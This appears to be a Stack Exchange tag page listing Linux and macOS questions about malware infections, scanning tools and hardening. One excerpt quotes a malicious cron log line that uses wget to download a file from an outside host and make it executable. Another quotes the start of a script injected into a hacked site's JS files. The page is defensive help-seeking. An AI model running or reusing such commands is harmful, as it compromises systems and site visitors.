Skip to main content

Questions tagged [malware]

The tag has no usage guidance.

Filter by
Sorted by
Tagged with
0 votes
1 answer
78 views

Possible Malware: Unable to track starting point

For past couple of days I have been observing weird processes in one of our server. Most of the time I see multiple instances of executable 10 and sometimes 4 and takes a lot of cpu resources. When ...
Nazmul Ahasan's user avatar
0 votes
0 answers
32 views

Preventing malware on one distro from infecting other distros on a dual/multi-boot system?

I'm in the process of setting-up a computer with multi-boot - 3-5 different Linux distros, maybe FreeBSD or OpenIndiana, and probably Windows. I will be partitioning a couple of SSDs, use one ...
Baard Kopperud's user avatar
0 votes
0 answers
52 views

How to recover data from my flash drive that appears to be wiped out and which may potentially be infected with a Windows virus?

I have a flash drive of 256GB with two partitions containing some important data.  Today I had to connect my flash drive to my university's Windows computer to copy some files... but after connecting, ...
Erpo's user avatar
  • 1
-3 votes
4 answers
136 views

Strong passwords vs ransomware for Linux login

Let's assume I have connected a Linux computer to my local network. There is one login to this computer with a strong password that only I know. Can ransomware that has infiltrated my network (via ...
fkarger's user avatar
0 votes
0 answers
241 views

How was my postgres docker container hacked / infected

My VPS have been infected by the kdevtmpfsi malware, twice. That's the problem, because I've taken every possible precaution after being infected for the first time, and I have no idea how I'm being ...
xpt's user avatar
  • 1,644
0 votes
0 answers
35 views

SSH login: password works not until 3rd attempt (same password)

When trying to log into my vserver the password only works at the 3rd attempt! (Using the same & correct password from clipboard) Is the system breached?! Interestingly when using my password ...
xcy7e's user avatar
  • 159
0 votes
1 answer
91 views

My file is reinfected as soon as I chown back to user:psacln

I can turn off write permissions on the directory and remove the file using rm -v filename. I can recreate the file using touch filename and even add contents using nano filename. But, as soon as I ...
David Davis Jr.'s user avatar
1 vote
1 answer
2k views

How to configure ClamAV on Debian 11? (Need sample clamd.conf and correct location)

Since upgrading from Debian 9 to Debian10/11 Clamscan now runs the system out of memory immediately - instead of previously completing all scans successfully. But the /etc/clamav/clamd.conf file does ...
Slbox's user avatar
  • 271
0 votes
1 answer
69 views

found php malware detected on syslog

I have a malware which run every minute, i can see it from /var/log/syslog Feb 1 18:30:01 MENCH CRON[1768]: (www-data) CMD (wget -q -O xxxd http://hello.hahaha666.xyz/xxxd && chmod 0755 xxxd &...
Augusto Murri's user avatar
2 votes
0 answers
75 views

Secure Malware analysis on a virtual machine?

I have read on several sites that Cuckoo is outdated, no longer supported, a dead project etc. Would it be wise for me to install it anyway? I want to have a ransomware analysis lab, where I can ...
Moooz's user avatar
  • 21
0 votes
0 answers
275 views

ClamAV detected trojan. What are the next steps?

OS: Arch linux lts kernel. Today I ran clamAV on my computer and it yielded an infected file with code Unix.Trojan.MSShellcode-10. I then performed a Virus Total Analysis of the file. 2 out of 69 ...
André Assunção's user avatar
0 votes
2 answers
2k views

Do I really need an antivirus for my arch linux machine?

I have an arch Linux machine and I use it quite often. Moreover, I have a lot of applications even applications from aur, so my question is do I need an antivirus for it?
user avatar
-1 votes
1 answer
73 views

Malware for regular linux distros? [duplicate]

I heard many stories that Linux doesn't have viruses/malwares, but I used linux for a short period of time and not a power user yet. I have security concerns and want to hear what you have to say ...
KramGrebrekuz's user avatar
0 votes
2 answers
934 views

How to use wine with more security?

After installing Wine I found that there is a z drive that has direct access to root folder. I have seen many threads and news about virus affecting a linux system through wine. How do I make it more ...
Sohan Arafat's user avatar
-4 votes
2 answers
112 views

With Linux being open source what level of confidence is there that there are no back doors or Trojans in the code? [closed]

With Linux being millions of lines of code, with a huge number of device drivers, there are lots of places to hide trap doors and trojans. Since it takes a long time to understand huge programs and ...
Nyepi's user avatar
  • 1
0 votes
1 answer
327 views

Is my webcam hacked?

Linux (ubuntu) user here. I have been using Linux for a long time, which makes me comfortable with the command line. So, I am looking for suggestions and tools to help me solve this problem. In case ...
def anonymous's user avatar
1 vote
1 answer
2k views

Seemingly random performance drops on Pop!_OS

I am sure many PC users have experienced slow downs on their computers over time (mine is about a year old), but this scenario I find strange. The Problem At about 5:30PM yesterday I was browsing the ...
c1uq92's user avatar
  • 121
-3 votes
1 answer
143 views

How do I scan my files and know they are not infected in Linux?

Im consolidating my data onto an encrypted partition and would like peace of mind that nothing lingers like steganography or code execution things, is there a method to searching for possible ...
the8woodcutter's user avatar
0 votes
2 answers
45 views

How do I determine what task is launching another task

I am dealing with some essentially virus-like behavior that I'd like to end. A task 'foo' is running on my computer, generating a lot of calls that are bringing my system performance to its knees. I ...
Greg Dougherty's user avatar
0 votes
0 answers
135 views

Are these files really Malware?

When running LMD (maldet), it found the following as malware --> {YARA}r57shell_php_php : /usr/local/chkrootkit/chkrootkit {YARA}r57shell_php_php : /home/sbembenek/.config/google-chrome/Default/...
dtx1's user avatar
  • 21
0 votes
1 answer
149 views

Are there decent, free malware solutions for Linux? [closed]

I looked around for an antivirus on Linux (Arch) or malware scanner, bumped on ClamAV and I don't even remember if I got it to work so fair to say it didn't make the cut at the moment in time. Are ...
progonkpa's user avatar
  • 153
1 vote
1 answer
2k views

Potential Reach of Windows Malware via Wine and Mono

Scenario: I have a desktop Ubuntu 21.04 system with Wine and Mono installed. The only program I run on Wine is VisiPics, a Windows photo comparison tool. VisiPics needs read-write access to the ...
Ray Woodcock's user avatar
0 votes
0 answers
280 views

My macOS hostname changed randomly should I be worried?

My hostname on my macOS 11.5 changed from MacBook-Pro-username to DESKTOP-NMO2G92 without me changing anything Should I be worried? aka malware etc
papa234f3d23fgf4d's user avatar
-3 votes
1 answer
135 views

Why isn't VirusTotal detecting a zip file that contains malware? [closed]

Summary 1. On www.virustotal.com, I have just used its "Scan a URL" feature to see if it detects malware within zip files. I found a test zip file containing malware (I believe), at https://...
dave99's user avatar
  • 49
0 votes
1 answer
74 views

What is the worst thing a usermode (ring3) virus could do to home linux installation?

I am interested to know whether is it a reasonable decision to try and restrict my own user account as much as possible to the point where I would need to use my own password much more frequently (now ...
Timur Zhukov's user avatar
2 votes
1 answer
2k views

How to scan for malware on Linux

So a few days ago, I've noticed the new pattern with PC fan speeds on my Fedora workstation. Every now and then some of the fans will start spinning slightly faster than usual and will continue to do ...
vrsio's user avatar
  • 21
-1 votes
2 answers
343 views

How to secure/harden apache2 on Debian? [closed]

I recently found miner in my Debian 10 server by figuring out what was hogging whole resources (CPU and memory) with htop command. Apparently all malicious processes were running under www-data user. ...
Typhome's user avatar
1 vote
1 answer
699 views

maldet command not found when installing LMD on Linux Ubuntu

I am trying to install LMD linux malware Detect version 1.6.4 on Ubuntu. It shows that the installation was completed successfully; I could even open the conf.maldet for configuration options via ...
Maryam Nasseri's user avatar
2 votes
2 answers
78 views

Can malware from Windows access Ubuntu files?

I have installed Ubuntu 20.04 along with Windows 10 on my laptop. I use Windows for games and Ubuntu for work. I wonder if I download some virus on Windows, will it be able to access data from Ubuntu ...
Markoff Chainz's user avatar
1 vote
2 answers
2k views

What is the equivalent of autoruns tool in linux for finding suspicious startup executables?

In Windows, Autoruns tool is a really helpful tool for forensic investigators to help them find suspicious startup executables and filter the benign ones. but i couldn't anything good like this in ...
OneAndOnly's user avatar
-5 votes
2 answers
163 views

Hunting for a malware

I'm hunting a malware under my linux .mozilla folder. My first step is try to log all opened files during running of firefox. What do you advice me to use for this purpose ? Strace ? Are there other ...
Lews's user avatar
  • 166
0 votes
2 answers
191 views

How to delete all the "*.exe" files which is 132kb

My external hard disk got a windows virus which makes lots of filename.exe copies of 132.6 kb. When I write find . -type f -name "*.exe" it founds thousands of .exe files and only 100 or 200 ...
Hakan Alp's user avatar
2 votes
0 answers
655 views

Failed to mount "Volume" The given volume was not found

I have been experiencing the following problem since a long time now: So, When I start my computer and I get my Xubuntu op system Desktop, I always get an usb icon to be shown up on my Desktop. When ...
human's user avatar
  • 21
3 votes
1 answer
241 views

How do I verify a Linux distro against its public source code?

This question is not about how to trace build artifacts and signatures back to its "trusted source"—the OS maintainers. I'm asking this question with the deepin Linux distro in mind, which ...
Erhhung's user avatar
  • 131
2 votes
1 answer
46 views

Can I require binary X to be booted only by a bootloader signed with key Y?

If I include Microsoft's keys in my secure boot setup, then any malware which has a Microsoft key can boot my Linux binary. Can I restrict my Linux binary to be booted only by a bootloader signed with ...
Not me's user avatar
  • 169
3 votes
1 answer
749 views

crontab -e, permission denied after malware infection

Caused by: My machine was infected with the redis mining worm Here are some files under /root/.ssh (it's hidden, using ls -la I can see it), I remove them and some other related files, hope it won't ...
New Soul's user avatar
0 votes
1 answer
742 views

Can I find who did an HTTP request?

I am mentioned that my server did an HTTP download some days ago, and it may be a virus. I have the request's source IP/port, the destination IP/port, the protocol, time, length, and method. Maybe my ...
Romulus Urakagi Ts'ai's user avatar
0 votes
1 answer
141 views

Replace (remove) multiple lines from files

A server of mine was hacked, and they added at the beginning of every js file the following: var hglgfdrr4634hezfdg = 1; var d=document;var s=d.createElement('script'); s.type='text/javascript'; s....
Sofia Grillo's user avatar
1 vote
1 answer
563 views

CentOS 7 Malware? - User "impress+" executes a command ("cron") with a high CPU consumption

One of my "CentOS 7" servers is showing very strange behavior. A user named "impress+" executes a command called "cron". This "cron" command is executed with a high CPU consumption. I worry because I ...
Eduardo Lucio's user avatar
1 vote
2 answers
3k views

ClamAV - What does the "clamd@scan" service do by default?

I have been researching ClamAV to understand what the "clamd@scan" service does by default in case of finding threats. So far I have not been able to get a satisfactory and clear answer (forums, ...
Eduardo Lucio's user avatar
1 vote
0 answers
77 views

malware identification found on ubuntu server

I discovered a script running on my server. Reading through apache log files, attacker used cms login vulnerability and downloaded script from this site http://217.61.107.9/wes. Can anybody identify ...
user1031742's user avatar
60 votes
2 answers
10k views

Suspicious crontab entry running 'xribfa4' every 15 minutes

I wanted to add something to my root crontab file on my Raspberry Pi, and found an entry that seems suspicious to me, searching for parts of it on Google turned up nothing. Crontab entry: */15 * * * ...
D__'s user avatar
  • 713
0 votes
1 answer
389 views

Will running MalDet (malware detection) and ClamAV (anti-virus) at the same time cause any issues with the operation of each other?

I am running MalDet (malware detection) and ClamAV (anti-virus) on my RedHat 7.x server and wish to run these processes simultaneously. Other than using CPU resources, can running these two processes ...
tale852150's user avatar
1 vote
0 answers
160 views

What process is accessing this laptops webcam? Is it a rootkit?

Old laptop, running minecraft for the kids. Noticed the webcam light blinking for half a second randomly. Assumed it was a minecraft mod, nuked everything off and did a fresh Ubuntu install. Sure ...
dtbaker's user avatar
  • 111
1 vote
0 answers
754 views

How can/should I kill masscan process

I host a small Ubuntu server with DigitalOcean and recently realized a guest user was compromised. I have been trying to cleanup up my server to stop future attacks and have come across a process ...
AC-5's user avatar
  • 111
-1 votes
1 answer
117 views

Is my new micro-sd card immune from infection on my device? [closed]

My orangepiplus2e computer has no bios, no firmware, and no hdd (other than 16GB micro-sd). It has high quality router, ethernet switch, & firewall. Let's say that I have files (docs,pdf,.iso) ...
hddfsck777's user avatar
0 votes
2 answers
98 views

Possible trojan on my laptop

Yesterday after connecting to my company's server I noticed an information that there were 107 failed login attempts. After checking the logs it turned out that all of them were coming from my IP ...
FilipK's user avatar
  • 131
2 votes
1 answer
445 views

google chrome “managed by your organization” on linux

today I opened google chrome and saw this on customize and Control menu : "managed by your organization" , is that a malware sign ? if yes how can I completely remove that malware? my os is ...
mmj's user avatar
  • 99
0 votes
0 answers
42 views

what are Squamariaceae and Marcgravia processes which consume lot of cpu on macOS Mojave

I rencently found that two processes called Squamariaceae and Marcgravia where launched every now and then on my laptop and I wonder about their purposes. Indeed, I had never seen them before and ...
M. Miguel-Brebion's user avatar
0 votes
1 answer
1k views

Scan unmounted external USB drive for malware without Infecting the system

I have an external USB backup drive that I suspect being infected with a rootkit and fear it might spread to the host Linux system when just connected. Some experts say that some malware has infected ...
prosumerstart's user avatar